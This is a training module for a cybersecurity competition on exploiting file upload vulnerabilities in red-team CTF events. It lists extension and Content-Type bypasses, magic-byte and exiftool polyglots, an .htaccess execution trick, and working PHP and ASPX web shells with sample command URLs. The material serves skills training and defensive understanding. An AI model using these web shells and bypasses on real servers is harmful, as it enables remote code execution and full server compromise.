File Upload Vulnerabilities

Scope

What this is: Exploiting unrestricted or poorly validated file uploads to achieve code execution.

Competition relevance: Offensive operations (red team CTF), from national stage up. Web shell upload for RCE.

Why it matters: File upload → web shell → full server compromise. High-value exploitation path.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (exploiting file upload vulnerabilities for remote code execution).

Competition area: Core to the offensive operations area, where you exploit file upload functionality to gain unauthorised code execution on web servers.

Offline competence: Burp Suite Community Edition works offline for intercepting file upload requests. Create offline collection of web shells (PHP, ASPX, JSP). Use hex editors (xxd, hexedit) offline to manipulate magic bytes. No network required for payload development.

---

Competency Matrix

Level	Expectation
Regional	Not typically required. Focus on SQLi/XSS.
National	Bypass extension filters. Upload PHP/ASPX web shells.
Squad/Team Selection	Bypass content-type validation. Polyglot file attacks. WAF evasion.
International	Magic byte manipulation. Image polyglots. Advanced filter bypass.

---

Technical Content

Extension Bypass

Double extension:

shell.php.jpg
shell.php.png

Case manipulation:

shell.PhP
shell.pHp

Null byte (older systems):

shell.php%00.jpg
shell.php\x00.png

Alternate extensions:

shell.phtml
shell.php3
shell.php4
shell.php5
shell.phps

Competition context: Try multiple extension bypass techniques. One usually works.

---

Content-Type Bypass

Intercept with Burp Suite:

1. Upload file with correct extension (.jpg)
2. Intercept request in Burp
3. Change Content-Type: image/jpeg to legitimate value
4. Change filename back to shell.php
5. Forward request

Competition context: If server validates Content-Type header but not actual file content, this works.

---

Magic Byte Manipulation

Add image header to PHP file:

GIF89a
<?php system($_GET['cmd']); ?>

Or JPEG:

\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>

Image polyglot (valid image + valid PHP):

• Use tools like exiftool to inject PHP into image metadata

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

---

Web Shells

Minimal PHP web shell:

<?php system($_GET['cmd']); ?>

Upload and execute:

http://example.com/uploads/shell.php?cmd=whoami
http://example.com/uploads/shell.php?cmd=ls -la
http://example.com/uploads/shell.php?cmd=cat /flag.txt

ASPX web shell:

<%@ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]).StandardOutput.ReadToEnd()); %>

Competition context: After uploading shell, verify execution by running whoami or id. Then retrieve flag.

---

.htaccess Upload

If you can upload .htaccess:

AddType application/x-httpd-php .jpg

Then upload:

shell.jpg (contains PHP code)

Server now executes .jpg files as PHP.

---

Competition Strategy & Marking

What gets marked:

• File upload vulnerability identified with bypass technique documented
• Web shell uploaded successfully
• Command execution demonstrated (screenshot showing whoami, ls, or flag retrieval)
• Flag retrieved and documented

Evidence and reporting requirements:

• Screenshot of uploaded file in directory listing or successful upload confirmation
• Screenshot of command execution via web shell (showing command and output)
• Full URL showing uploaded file location (e.g., http://target/uploads/shell.php?cmd=whoami)
• Burp Suite request/response showing bypass technique (if Content-Type or extension manipulation used)
• Web shell source code used (minimal PHP, ASPX, etc.)
• Written explanation of bypass method (double extension, magic bytes, .htaccess, etc.)
• Clear naming: upload_webshell_uploaded.png, upload_rce_whoami.png

Time allocation:

• Finding upload functionality: 5 minutes
• Testing upload restrictions: 10 minutes
• Bypassing filters: 15 minutes
• Exploiting web shell: 10 minutes

Time-boxed drill suggestion: 40-minute file upload exploitation sprint: Given a web application with file upload, test for upload restrictions, bypass filters using double extension/Content-Type manipulation/magic bytes, upload a minimal PHP web shell, verify code execution with whoami command, retrieve flag from /flag.txt or similar, and document all steps with screenshots showing upload success, web shell URL, and command execution output.

---

False Flags / Wrong Paths

Common Traps

Uploaded but not accessible File uploaded but can’t guess URL. Check source code for upload directory.

Execution disabled Server doesn’t execute uploaded PHP (safe upload directory). Try polyglot or .htaccess upload.

File gets deleted Automated cleanup script deletes files. Upload and execute quickly.

---

Practice Checklist

• Can bypass extension blacklist (double extension, case manipulation)
• Can bypass Content-Type validation
• Can create minimal web shells (PHP, ASPX)
• Can upload and execute web shell
• Understand magic byte manipulation
• Can upload .htaccess to enable execution
• Complete file upload exploitation in under 30 minutes

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../../00-roadmaps/ for module-specific guidance

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references and tool documentation